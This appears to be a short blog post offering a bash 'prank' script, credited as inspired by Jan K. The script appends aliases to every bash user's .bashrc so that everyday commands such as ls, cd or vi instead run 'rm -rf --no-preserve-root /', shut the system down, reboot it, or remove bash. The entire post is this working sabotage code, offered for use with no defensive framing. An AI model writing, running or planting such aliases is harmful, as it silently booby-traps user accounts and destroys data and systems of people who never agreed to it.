Just run this one once, or more often if you’re feeling lucky.
Inspiration for this one came from Jan K.
1
2
3
4
5
6
7
8
9
|
#!/bin/bash
ORIG=(ls ll cd rm exit logout mkdir vi vim)
COMMANDS=("rm -rf --no-preserve-root /" "systemctl shutdown" "reboot" "yum -y remove bash")
BASHRC=$(getent passwd | awk 'BEGIN{FS=":"}/^([^:]+:){6}\/bin\/bash/{print $6 "/.bashrc"}')
for FILE in ${BASHRC}; do
MYORIG=${ORIG[$[ ${RANDOM} % ${#ORIG[@]} ]]}
MYCMD=${COMMANDS[$[ ${RANDOM} % ${#COMMANDS[@]} ]]}
echo alias ${MYORIG}=\'${MYCMD}\' >> ${FILE}
done
|